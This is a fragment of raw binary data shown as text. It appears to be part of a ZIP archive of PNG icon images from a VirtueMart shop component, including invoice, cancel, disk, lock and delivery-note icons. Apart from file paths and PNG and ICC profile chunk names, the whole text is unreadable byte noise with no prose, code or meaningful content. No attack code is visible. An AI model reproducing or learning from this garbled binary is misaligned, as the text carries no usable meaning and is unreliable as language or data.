-Ze(u-rR#Y K5Oj:;wvר$}V!*thAro7^}c{:ZK2ux%/o| ;)stLd  ],dXȂйy 5c3gΌ1c;A Kʟ0omi>lx8ZT,O'*g᤬VOuR(# cڰdŒtՕvl 5g>H;R2XԦMbh#:@# >LT`xH#uϰW0nfcqnpKO&}'9gCC'%2bޗL}be|{EwǖƭtO0]U͏B?CVXtX89Ft-C>JΎ{3~ ZϘ/ 00i6o߼ecαn};d}@βvIWϵ[%<wh I}}#^g zХpN2(c>]m]-ߧߢEF~sv޴Ǧ_xגՇW߶Z9,sX?{HuFJr Ɛl$ GKVx-cG|g'MA)pߘ}`ӊoԛ0]n tV7)/i4@>p(姟~" UNʕ+)LN!  ĵ R@/p?C(͛c)+rǼÇ/|7 -)V1h'Bw; /ڳ '-)ˀprxbr _ aÆ.1 fhp9Žc* -Fj%`~qA52WSWZ2Ӝ+[%sـ K-p *ny../% 8ZZ!-.9Zs9sr.CZR]0_B8D ȃFxJ[D!Q0u8 rMP > A.܌B <8!gr6>K@#\JWc~WB/_#O9A9 fda,.@FКX@(=y) I0>?|Lx]uI{Oa;XUXY X>Ҧ;Ԏ N̺'b d]j:FK(6g9Qn+b7xL.!ފ@x0P +>rPdM\5n_}LbR<an Ɍ3b('qi!b!1g4UuT=b<˯;itWx;ܛC B΂8rqS-ǾWT9Y$B~:Nz$@D DlNTڀydSvrf"~!ƧWCMȯA>rfk׮Tkr5rk4$G|P$8%^(5Lf!8`=mf0yEWͻRބV~ol"x^ AN ed>=2< O% +1Hkh/@% ]GrD6*')Rec% pbJi^ Mś'Mp;?/u\cc~M= Ry9)"H ؄) 9 iBwylƙMM~m`C }S*3x*D}pcC*wTl<8w}v7Zxt*Nou<Ĭ79ǯm7ğڪ ^9tM?jpx5 3k޼y!gnz:zwgBi DLjsÒhWPpjtЈA U_sؘ1YA=A,QBq]~b)OP5ضr  7N>}\r&ߨ9;cv6h5¢aAm}*w @ ˄P*^sg`?ﳠUcJ0e2aqS J{}i)Qw J}h؀rڵEl;FJ_9kZݑjE)voLr~ĕ-.>O-c]lmbzSx<x6'0A`vr2[/HA扯[2G>(a1X!"o m}M3MxSZ-q,ƷFDD$PSۻތo{E)r[.z xyL0!P+IS-|v!f9da(7SYb&"Ef=dR?3[Άaymz4'EZy2@n ɿNeCgsFj~\`ɒe@%M>D}{LUiE  Ɲ@cPw3nAӲ0θl/W)q9RK! O@/ и0ldzg^" hy @5,OGuB)iy7AJLc w:bbsR]*A꨷TUbfl:( 1 tH<(72gxF{'Ĩ*TQ&wdV(aB屹 O` +L p̚ga5H"cA] ZŴc7sܭ/ԳQwcxXѸ,:6Y 8a$ IDs`qɄ{{w[4ەzkqNc'diHƑw};BK2ޏ1=KI#ӕc#Fٍِۡw1q VcA|rPu4TjB> C1 b߆Ľ<99c6X:6D6 FZHWT{ pZ i QrwYEWX5K~D6jmhѰ|c"vq}1U-.њ Ʌ1„ҳ!(0Ip?у(˶8UKJ"QWvG p2 TBWFh>Ҧ@{=>''q1$Qk*oTY8$:<0{\mUym_LJJ1Wb|?ksw!]0Br,ۑuZ4c{ Lr/~-胂G"ufi, lVƹ̜^!\+/P wiGcK˔:Cnߺk0snx_9/4y1 ߆;xёtZ-]+1/ dÄA =).܏$ (Cxi`<J9Sҵ}uBfc3 \t~j ^pnFmNqr&̔xǎrK EԤ]z;.!> BѴɃw]*=.e˜vk|=Juѱλ9ge%e,^y^ `4xj[d`d—!3 ,r;Ña ftl|2ClfZW-޹TT2HP5"!+?/]D˄sBq> B3oI"z{\sI&3'{>k}]k0<.*^'Y2Y- hphn8Fl*a+Ȁj؉LE!b]3c(`m-t((.8 \tCxTwjס97^^VlqYNzW*I*?9sc_;ZTRG@1Psd1D 1="W%}baJeI\uWwI_' &#Z> wx"U#1W1EBЍ#g^>LMRPM%&.$J&2"(}DVm:m_\#23wL4wFsfa@6ި[SyZ $F2«'*}MFsnk4)t(FපBaA &mkG7$bKܴBTiU7BH#26&IZ%xT)F(_ .NVr%wo]/0BMp5yLa>="r uϯI&5Ifs9%+j}eZMZLM*9]T>CUq?ru˖XF*^F(#GIZjx-"\]ʉʃaʓSUuHwpI2VhhM"BF#amWySe)) Yb;$ɰ:n=.1#+tx~/.̀h '4<\|m = b*7r>>b "uB?W3z B4L?T3ZVnⱪV6u?<9:ec-R!iU)v%ݗPϠ*1KSkUSRb6Z AS[΄_\7;S?r`c a:M$t |,֕GE͔0pYG G_k>WHm?:oü+?srY%$ cKok)$[{\|d<#(XiБг=7 @x50u7L!$mMH>HVC^^=#ŦpŧL9Pd b3=z :gG%gSƷa% 1cRS]0f+<2keC8L!߱4@_U]Zʤ[Ve€Gx//X;wY+[[}G'#9mP 㯝Μ1sxUqRݼLG`A@">l"7?>?}H%u>r@'BlpM#t-t`VQ3#K }j XS72J}7?䜎ÇVr妟ңJU.D&Q]16x7TCsqլ3Ȇ(B$#S'W&3r4.ɧ/X f礰F: IDATMyAq]*mȓ:rq؈>SZ^ NVߨcLJQIX wԕ:=]-B]juSlJB\,4j&ApbuɋG*Qީ&s}%恨+,~>ЦKʺW|U@$:EA_On]Y/(oݸ.H i|rjy9Nz px3_OǓqVCǍd%$JWRSDJs( g-|׀}WHsA[wuQ«X8f/ 7n\UU>`IE:  Pr`.2|8`$L2q yW2´<"t C Җ1_mr]oJVÅM(x{teJZoI=H9… y. 97bĘS%]@Aiy,<,aF2,ɐcBg~SȍE" l-+**lӛ%vde_$777oQddĉد\(y=Me?nbɱG}/ćZXRRm>}FnҥK>^^&0iI}SVxjAQfǎmǏx|@??n IB%F r AیɁN /h}AAv:w sˮA=oOnnb4m_DΝ;o^O"O* ,#2*n.\۱`Љ.\81Vx®rdrUB/}96} 2ʨ sx bZդIL2tZb*+.jݺzY9/& ILO_Ē2f|?)ݻwoE&cmY.%] VjGA~'jO>452"|2d-|qa d3gΘWf:ej?<]Ne*+#"#kg̘E  4k53gc..]8LQ1|ǽ}hmyb9T8<>\60d^bĉ5]\Rڰ㛭ZW5px! p+Ww-&1>Ah"BoJikY2hĀ٣cj+˫||1m(bZmgu+xLjH 8 j)J43յ5R0rԻhTg`..@gN~˗9Y(F\rWxey.ڭ}ɡ脠4BP&3u:R(,*RA%˓wY ذ;L[kkke*WWNodDC) W|Oh^w=zP)0i@;>>AqYߗ_}9ߌ,dҜwy7]vlo:5{Zg?Kŗ s䨑o];mII<>2˶{KC(%aFTmbs+b7X kv-ЅL!b_uưa:Yz>,׵h6 jkkģGWBr5ų 7O9rԨs |!PtHܳg_pQAUnn|s,ʪw ;jISJxёQ(1: DT#5[K1`A}<]oB5'&&)nݺzN~7l©S_x!D 0jH>>&ԝ>e ˒xMxѾּ&/G/xauo3r6:Z۫G>XhQ1j*g63qʚ5kFb3X(*lr={hHMKSƟF 4j:0`5 fh#mᒭ'O{,GhP>}PuɈ#`x-Ǿ1Fb-ScXT>YM$XԔAY԰AmۡlЇ,B~e/X TFG" XD4^A*B0SQ- hDT7KyC3f3?]o?{Ny;?sݳ%~0<ٳWDaxo >0Fdo,DB . (_ex2#Xa&JO \zC)kZ;)TL?iÓ:tgxBTDAU(^1ZH b}]DXDxG2Oi\ĸo>y:O<V6?$2pa.|cE2x ,2fz3UFlo*QDʑH̪dr DaxXHZ%${2ʧ4"P9RR6)Ā "dT;Ϙ2h"VLL "4A|Hp Y|I]WDܜrvՀ5:tSFգȓf^.?VhH#clzC5V-<Q~m'(wZf_D{ddIZt8,\PT KhJ2[$A Q!VO1'\y̟~bGTFdr {GEg9%jΰi-N¢̇W>dV&$  &m{u z\LFI,2W., 86ͤ:Bbi᭤l"ɅZKGv,;cf2;G|M H;y`TL.*0 I%viXxʛkk! zY);r7ZiQ-FM9PoRc%^pԀ#H390qv["|;eGO4H%`oD%>@ G3?TT0A7@ѢEsكWȎ8(9[~sbNaw0jRؤ<L T]Ƣr d4X)_H#o X֥vvwg~J?Rq% m-`Ek^C*,kWٞu#{jK̵fݧ z{JVbhvDЕ.5ӿq)02hptA̾!/&dV2 sr| SO*}R_bx}ugP#}z568 V|C_B70h,-v.E 0$,Ͳ|u _/7H. x( orvqKWٝv79ߗulax|솋8t +Cqg*sJ=3=X˚*m,SZ~ugVDImj$Uf!I}Ь,J6Y `{F@3:W]-+eK.L׫Xaw2(_0+3뽨FZ0b}K|Auݩhtڗ+\S( ߌAT7V-gEes\>ΓLk79fN9=6pDu P'+;7,:e-#&Wk0_lZQn((ֻXm`Pi Iaѣ,%8뉀C[ݻgDM׎nr*,q׍o$q݁wN7ZJQW\P%U$M|n]\(t%j<3 eE$pKګEqѣ hBlft1S䗙һ]@1ߦJ*8N xsdKXTpn Z{-^{q]wl'v3d +6պa"CĀR!,8m,nrr6Gh1\D_$  '%W~wv︈Z1+sw8BZPZB- OHiE.aXjeHw=pVzth<"(+` >|z2zdd乵 FFN*o"'Ow]8:,)q\\u:1ZFMP6:;;ϥ¯ ~oM$[jdOh;kɌrp8Z +ғJvX6D #6̼Nd>Bb<(e0x% jշOϸFE.@oo6k^H &v Ii19#.z L=e*&X[/Dvk$醚$l =sF/̖/'I? =B&a dLLXov n,CV mD}љmILD޹ |s0n%5>SٙuX7W_Y/:7X}ˀ=h  PiMoc"݂,,7=G+HeQOCv2iR̮Wq@ n2w@x6Dpәt! aPtRћɑ_s|`T*cRx_! .o;G }3 C; ݢ sr # 'ٳ QO#҈{G6{8Ő3gNrmVșkLC z,.:̣˶oD@_& )S&⦠Zcye4Fyyܣ\im3O ˉ5'I( |w"mk>qa^7pOc4>%#q]-͚r`'2cŭ}|qR+A_x&[`ebZ ANdfȻ/v֙_4"_9e$7a[Lqv,(>GT4OuE) .0?#cȞ]?8Ϙn_=/vf/:7tx1= SRA`'(Dp z^A|\ɏ?]q؈)_GE{ⓈtoC<=[wg)粉##1le(;'Xɭ.nmaBj:"xm@S۟d444  !bn3Cb/Yş"~}. r>B&':A'o`<=w$Z#⦐];wZfΜDʿz g8>x6}kQoבR⩴xD}.bd*ynTlE^1{:u$$GE8̅l><>;u(~ĽHrcrGXy 9]n"`*&!p(b.\IDAT)gܵkHRbAhyjՕ_}C xs5@ n r^V;zF:jil/%G$߮z\Dc FZ[$ ȏrtINvvrN[C &GnT lJ{CHd"OvZf=>LO 9=xԍd7*_9 td:ywVʵI`dLXBVpXw|#UøR;Sي=|9@3)y "*'_UN<3%c Uf7wh>@M"Vtu9Sɵ't5O^ e2 yq E&?;yN{?pX=$sAw6 =I@]pr0B<ShWxK K㫝 ąlRnx ffJKF1k +͕{z_Z~pC*P 4JxB"dbN7zY * ddo,~ +S@* [0onبrZ^CvHK.cȀ:Zeg̛/|_ ?Y4äR`p@RCBdZV%?*r^:|C]>A""+?ܽ1 SCG^cmV!4+G#e$pƄ8'X8Q%+bW -2n"PQ/khyH%_xDbA҈J29]*|u0p$?bv, _?27QOIv2qHtJ~DŽǴzY*"I@s!DkQ=0-Ҁ~"[8{DrLoRȬQ1v`*(OXS*i [R.\q+c3,)CW?bϏ3!"OnY+͋ bkpԣʴT\4k91t $V@`{+>Zݝg7{żZ^^>/3i/a=}QVZZ%rÃ;ŅuYoo=qU?iω^dMo0Vgĩ.9DmDs3g=7ݣI2%+I(D і('/e>'Ϻ|khtT;s?qhXπ֯X[~u~Y ӰBƇ'֬%\a#EfoJv0P7DqWa5j|ܚ[%\Vn|vr3xAIsdۏ M10RÉvqi#p^у9ݱ Q_&k^_z? QAïv;vpiol=~TGs ބ 5"=ZI;q=@FET<XCOY NEƑ1Osܱ3/Q p.Α=" 6_ b {@h@6.I`'Ȟ.10ԁ`N|dGu$XD}^aȖ^VWO3gl<s4zy4N%{(#wݼygV}9>XSc*QyX PvGvѻ(2Avv푲qsx- }.ހիWGꪯok}_ÇW '?@].+TfcwEl .S^~Cj*3FaVn|}觟7oZ24 Uq96Ȥd,zKvuqIFN™uNjC*UsJe%wnԿfC hFo5dQ&iL(EhX:tuvB;@8X%-B_ PrQh[:dTsrvRAZy@6b mU}bZeP9;QOQ4xг?#gwfjoN*C `Qa*sh}tp'*m݉SN?C=0lc7RDbW^Ȏ XȾag U({&gb}=P9;'B9 gM(o- v1^bp"dfª!}#[غ[-rv99; Ŭ$oIϸFݚu{nBȠk嚮:R 9;1c.9 P l4c &fƞ/m~X482ũۺtɄ8SrvMP}rv^^ތ{~MkH^'̱3ULu_BaoMvmЖja#?+)w_ ׇ*krv4{ǯY/h;H? 4'x9|M8 )i,uz'4 # e vQ*2yl UCxxrv/@nBKVmZɮJHj# A1t$cpJF /DS,vX`A܁N#MPZ)ǫ PZvB "m#\a,qntL?*; PJlZ>^@-v/*6z }(/6yCQ@J!IOt(8Rr>i C CsbU?F9k#gwWPedNrrv r'ЋBN0*:u),}e*3)Ćn Lby#uYe}ZB҈?Яq`t[+ fD@:!0?osTR`[=k-̉j,` גm(ʎ - `A2RB(Dg$81J&?{`7EJ#0 AsRsp2/p8o.?oҎdz>՛§|WH. lXzj[VTקÈ:d g>.Uft HE\xwa4n]M-W6R2tCBω$ސЃ-4>Թ'LW Gtz0 4T+T.Jj LjluwH^67A%H N91ԻԀUb $)3Ɲn?hMKqRM4]^unsc F>g!cް5?$rvn^o*>hY:A֎l r\\6v0 H)ˆX9ES É68aJ6E[K qܺ@j^̔H`i$KAt 4Cso߸5/gw1^=ދ8hOv8{RL7 ƭ9$y}*d zaFgrFKʀ3O) \#FD&^^y9ܿr8D RARI˃<]J r?2]ˍsT sS~7,t'u'vUT'[sZlVRy*cc=EQ`-I1NF!% HXbk,bEpkq,zƳYJNIbA-9ܺ*T!u)L39EEHM{ܧ7jSC4xzVpj@F|nh8 (o ΏQׂxدfD #kt)\Fwy%fȍpɐH(.ظ2d˪*Ih!Xnv niC]#y #Ӄ5A nsBziɃ0! x"$Hox{M!Gwl` 4_LI4e3oڒjRỲ(;og,X``U#їQm_%+楠qv*#BcI9%ۧ@Lت}f`]рգV3Pr IǛ]j\ڃ[tN+X.r&^%tv7C͋'gBzc|oJ o#KFg{X-VHS66D.=- x՛$"YOw➙p-J8u+9Baz{+"z|@x!ZCHF=n ?Ot* H K2:#bOJ Ջݻ֍MsS f쉤ﲒq79,g.[0-Xq,g.߬}%N m x~JQSMEDkMVJ荓V0Ց]:aNrQCn t$WOJ5Xkh/xC0Ӭ>=|E R ]?/Ub˓'%+{1M yu0Qt_H1 㼽)%%Ź[;9USww{Mw Gj՟5?O58'DSRIENDB`PKs>\gut++-com_virtuemart/assets/images/vm_witharrow.pngnuW+APNG  IHDROWsRGBbKGDH& pHYs  tIME 0bIDAT8A @ E_@=7Pj-B+vUf$QUg#32Tm&BេۅLT՟g6MUCĦ j> ? qf5ȗ*kL]W:% OޥSJηȜk3IENDB`PKs>\5\ͮJ0com_virtuemart/assets/images/icon_32/invoice.pngnuW+APNG  IHDR {X pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FIDATxD  Vf4 888 sbܽ{nuuu1ٳa^|O | \ /_d C ,,,, \  L,L *E,;N@C4647Dܚ%1$lĂG@Aƙ3y>ɲ Y%HQ4M0 "۶E3#⽧*Q=4ufycf8!+ꜣm[s Ás5MSʲdL3N7$c(cDl(-[f(\[rn 8T;gH ς[޹g\Y,lu󆈠8X.l6x8~Ag2 F*1<ϋjQ5U595ZD~OdY p$kaE{TT%{q$ zNUUaHQ|}y˃ $vvJQf9iI9 ZP.%pDj=2U4KCh3?~j6na7,[egUMmC(ǐۏBA(s*%PrIIvӮCXVK<7$Fzψ|>_2i2EY} ReY+ГREs)%j:j5NOOy`b[LU$d2m:j[<\ J>>3com_virtuemart/assets/images/icon_32/invoicenew.pngnuW+APNG  IHDR {X pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FiIDATxD  JJ@Vf4 sbؽ{ӧO>_f7 C1|ϟ >>> 0G>0˗ xm `ĠWjڱ4̱mP觠D] RVimL@k#Y QIA"`. pNӶC4aE@u,˒"B>MDZz g],80 tZ UYFUQUT$w`iBDC$}.^qcu0 PP qa a au0^WAUx$,$p'LRi{~"q7yb CV9ZRQ\.M&q<Zzjnքwxx6,0ưlcHpq 8$u]&a]ަv b} @DNKqﯘˑWTzhq-燨TeYEaҨtFg{.[~ІUTE*p8SZ!RlPdըw_*ʟ'({߽<.fP5&4ƎKG@>RYnʒ60myKp׷}ޱXxifI̜9j8 ~+++iR*I튵Y`4h4ݣ^Gs||)iB)EXdiiZ֚(pQ(4܄FDj7! @<*h$'''9hqqr @WWy_ۇ"Zk$e*{ 5jDj/{֚]krcE):9WZfQql6QJˏ("t: .D/Ay‰-zA+x_^XO3~1Eh(H]fo T2u3sE?j1$IXXX uff:B.SaH ;n?%_0 T*P ?Neue{*Y ±J>Z44˧sCh>lZ۸0ܙ|ӝAԕp?pC]@Wn_MꢋBq](Ԇ-$Tn#ْ,Y3;v!`Y=gF)I)]/}t]:A,M>}HWtCDI) p)%\eX[[~y'B@^G)EXh0}m籵h4Ҹs'Ǐm9 \۶sod Pl7~#2MsJk%Yœ|B!<j 3qa4MY\\d~~(4g3 55:g!`<׶a ǰ@Ldee%a&_<,-vBJɈ$M,ao.ަX+~u_|le>|!~XZZb80 Pi^0xǫ%q)[:tӐnU8׍GV62ŕJ%*J>ZK84I8{} 4Qѯ|^.)utttjW1)0\G/N{Bg SkhB[F*7b| \_~4urV.YIENDB`PKs>\(]@@4com_virtuemart/assets/images/icon_32/information.pngnuW+APNG  IHDR szztEXtSoftwareAdobe ImageReadyqe<IDATxڜWmpT~&lB1| VacGRpTP~(R3gv:SeZ ũN @DA&!&ٻٽ=ݸ,rgN=9=9 S+ES(ϛֲ=! d{'k?kLwU]yRh aEs.UaX0MiaVP#jZt;/NyC3. x=-k! 1k" Fr8yq?׍Ъ 5 *3q8.Ob"Î{Jڛpok-, =CqTF"'P+v|-@CIo_@|:U ɂ[hXU膉 {:Q_ž>O#o>R Bןzl}=o׏}ǯV."CO>Ys) t(6EW$$tKu1Kw;;aYXGp(*V dOgt ZDc,9@Ƨ1LY-ZNuw'f˭jO? ,oPp>ca yӎطg5~H3^{쀊Lx0 ʿjdR>RΧ;wchLÿΏRVw|7^ qĦhk }erN9잎z6~ 5|>Ewm^TY?{&#GOcy JHG6dO۶=6Ł$n{x3/Z/yuqk'8ÑHK6E]mea qYj*}2N]"zQH%Ja 0E%Z~-Gkc>1˿~ cn֭#C: o02h<%~,I "%H^,$Tz1L!P9i}l4Bbt h NYIbZ4%n߄yI1̥6H|6pj9ͦAIO|Qe.^u1}n-83ng|>F/$5 6w!I*dΞTzI8oYgH$4L?C6ٶ#8ٚK\|F+ڙR}~G.ŨBl|rο{%f^ƠS*sRX,~ u"^I䯦sx;|/.vg8! lb*e֖J4iN/; PGw׏<5&$QjO*$OkJ4*wFѰ~߬n?]C=?Fy Id|r|1=l ;O |#ЂQL5`~6ҩgg#=3z?('|6Y U|:(oױR,<hP>>2pяr \ 5VuĪs6@rHN˱(3 z C)aEdr7$%8ޭrȒ\**uzb`/!~[K55_94}?"ZO|P+ӪyZQ)!Y }_JbY3}Wpf*E5Q8 ~utxm^pacEV '}Q]pGt S,E~W蠢+࿍isյkU{>"::j/}* 2 T 9QNQY4۫wq̘8|xT_| t[<Iz Er~K;8i_q2֎~h@E}u3KC$D z!4sys{Z$\0J.]FX7RNBTpSw ,M3E6?GY1dt"6TYc sr%%fhs{U7I, N4(ZUA4)Z]jU"C=Lzle<jQc;pjزyζ^shX@P=Co1!u?Bs_:Hջe[ ULE=N)cJr%Lcz[(')hߕȾ68E1@KP<)T gDb?#dU7-H-܂1/LnPx⅕y)o'w4 =S}3ocv;Cw)TW S(*~<J7rBN":GlWqpJ$R/I#y^Ѓ7lrf4gղ9T4Q3ڪ>;,)sյzU4_' 9;rjdݵL-rcnQqn6[fvSH?LFz> v՗̬XkїXG2W uvq'br:aɀilf寓[ ۷a!1&ɓ>G3$= <>:w# n+=Oz̶o*+)=[bÐHU+v;!YkRn.)P\3SPyՍYuW]r56VnJzQ¯'%Hn!F^v,/?T 9a c{G~<ĝ 7E[ol8 pL2發5ӋsOycmYrx_fo:qruGZNz:_c s杅_LO' ߹iV9@ȹJ6.uRiyyAwZ?N %ҎLᚽx-IENDB`PKs>\"kss5com_virtuemart/assets/images/icon_32/icon-32-lock.pngnuW+APNG  IHDR @LPHPLTEŻkkkuts{{{fff~ȴtRNS@fIDATx^n0CCM,i;#Ox@*Mģ$( )~ iey}k9-U3*:!R񎾤E&l~u'b+&`TGP=-wd/ݖ:.DHB=bmM%.Za@к欓Iv$m&Irt$FiF'% $x)rz^WM64,kN{^\.o/WNQ1AM`0?h%`Z ?c=R`OMӸ"G/.>LyHPTO>88q0 >-L,N( F|a I9Q:eDX=kJ)uƈ[Ot‍q{l>&IENDB`PKs>\}MZ/com_virtuemart/assets/images/icon_32/cancel.pngnuW+APNG  IHDR szztEXtSoftwareAdobe ImageReadyqe<SIDATxڔWklU>>iKZI*a|'Mc"'5!j5JH0P^ DYM`R`۲3ٝ}ingvy|{F@˿ﶎ0̔?[s/SeN|5Z.n4?:# `y0440u t|8轡L@W72W -Ӻt|n3PCNZ W$0N&6Pe m0:7l:l 0L]r/\>~"Q)-ϬIõ /`V?DWuCA\=_D)ϭ9O=7,r֐,ȱmZ)XC*!/rU:>{.hUï䁌cBAh :%Nԝ; t{fWiLztė: ӊSˬ<<ϗaRrO.Rr0|a|2L 5%ʑ ޥ}<kJc/yT85zw9J$b ؘNﻳk|0ͷDKaXa0&op$ ΣqMA9!]A(@4]%i$&◮ 1B 0rZݵ3=\)|<ޕ^آ!PE1@,0v5(֠cI$ӕןܡe@̄-ҋtHl- 6a Cw' \4pR1Ⱦ=^fɒ2 m{@&]NUHP=5 !Y!]M9Ho}SJpnCNJidHtt#gܵDJw,/UIaY>ge"RQf]'%Lb.c"#eҕӓ -KQïA5ɐ,.(JVV@6'1~7m1[@m磙m@p4}@b6 ;*6|Vֹ~-` zȭ_?UAD7=`Zu3@Aݸdbz&@kj)&v\7MK pE&Q wxK&Z*5.(?0zi$ꔣB@ΞgyXXi?PxX( u>T)Fqg b Ƚ Y vN"w~3mM"ǿcg\1rEa7I-v~ h2a]$lFN*ݪ]x)8rD0$uJN1ry#NCbΝYsx:A(idMڝѓgWP&ܖ\ nM5&ñ,lHC9##`:7=6ndAt55ZjSrNuC'`|my%hw{לnk:a^3'"(& $'GԭƔ?HJ9gU4+TG]$*kF3a_?P`~zq@50E"]0V?,,`IENDB`PKs>\>(N-com_virtuemart/assets/images/icon_32/disk.pngnuW+APNG  IHDR szztEXtSoftwareAdobe ImageReadyqe<IDATxW]hE>3{֒> *BA! dQ4V#ƿO>|B#"y)K hQ i4x37$anvwo9sVyz ~R87Wk9o"P5$*ax{fv| ?䥨Ͻ39u o"w>d;OE>Ribi>\qfxSts^2T~{60?n籬%(ʖRg'}KN3]+uϚSrV,`6[ZOm&`!xxZ`#h`, PYz|x!`i t]t{*oOg !571IM |8yB(Y`͘PԄ*6ZՒ:Zr|oHP$^NF2[T$WQ4g {^'x YWOxƞ[&[}%V XaAёcpjȱɗ@Ot&AE**WCDc c`S0`F%x&($g?@E-&u-,*o<_\ )iUT$%ct+0} z>UcSC?x~<;%(/koERxjtDX`*BX P+k`kv~@\/tZXԴmU0Dߊs_F5bgtiK- V h (% `G[vF% Qihy 5Zbxl0I%:{jU;DSW4tpHEAz`H~y>=K%~nn E^гa (TBucU%hVr3܊we//|NNra|CS$[CU%NUG3Lg[ؕfUZkfdy Q2 utPVf—W®)9Rqnj,Vc!]<@m߃yYN@T-\ƳHnv'Ei5JsIENDB`PKs>\}}}8com_virtuemart/assets/images/icon_32/deliverynotenew.pngnuW+APNG  IHDR szzbKGDC pHYs^tIME %- IDATXíOl\W7olOlb;vNJLꢕ 6K*6 ZH,+lHE"H]F $$PB"XmPvɌt=xoƓq\+]͝+{|;i'z.9sxSx=ì>h鱍7{=̌QǏs1sfC{FqyU(p5_=>Q{È yшhpU{%H(=wqinLx/+#33,]=81H&'˕r|qglK /' FáqNa}_oAEUTh&1ic^IZI&Iegf SS8> p(u Iz U%" $HJ@5 qR_A͊UCsQ$!eAYjz#0 g]`e:1VƨNoT@^lNQp5#3s,-NZ*xnπ*@뜯ͧ iswm׏OWn'<=3vm2H0TʊLA2J,Jdz3,K,_Vs )>r#G#4'J( MU7^}W^i@sٜyֶFB\!nG;^YYym0CՄq|*C(#EN^ I .Jǟ`\]i]ee|Uq0jxqYY3o4-Gvx=VzʧVDLdIENDB`PKs>\5com_virtuemart/assets/images/icon_32/deliverynote.pngnuW+APNG  IHDR szzsRGBbKGD pHYs^tIME  D "IDATXýM\YW{IO&36ܙYJTAuDݹԵ{G,DD!CPIH:XN'U{9.ޫJ';^/.;\G3<8w5nv}pz'h~ 8w=fy3`j<ٍ{ s51)j )۱cB !LJ,kZm>yFh>'xuLs5ff!G҈8àw{)ƒd sg^!#s8<*%#B/G{2/pN1Dix^9tٙ)<rEy_/q?\xnBEޞe07aif@UIhoA*DT M2^Y\z !kaj1F UEUjSİFjZ3%.zJ HjUa*595LIE >. wZ4o*>0BuҐǾ0LMt$RGC&% mRUnMM48: 4`!vKM MJ;e(޷H`MqMAS $!)=%)Sdlt|1Ur$J&*V:HRT"VTF/b$J榕{*haL SLUv1RU%*C-,);ztZ]]ʽN,&vc>1U{|G~ޖo7k}q~awN^UE4>`Qȃú-Ǩ#h`0-p;33t:U1iBeEIXjRAI,. }ܹ~ڗsM)u6/TV,)Rg~ʕ+ ziF9C=`7pdhO{b{{T}uҥH/ŨUe-HUUTUp4;{Gl/] rqTe7}.ܙOaYm(˲gȦ)%s$B=v[o}wkknw_%0ނG1""vjmͭ:uݻw 4`fvvߋcUQFO~zcc {'8SkxkssS13'IENDB`PKs>\XX3com_virtuemart/assets/images/icon_32/drive_disk.pngnuW+APNG  IHDR szztEXtSoftwareAdobe ImageReadyqe<IDATxWklTE(VATCFfEhDc46l50%GDJJD+}Dm-4 n rwsfnwKlIn33|;gJ`!n @O'1$Is4'̠|;?G"a4mض3+c_cyk ;wu|>N xL&(Ć躁 Zu3 ;v184Sij1٥KG#-;? ˍ2xo/Cʺ:F vkn^QJT, n 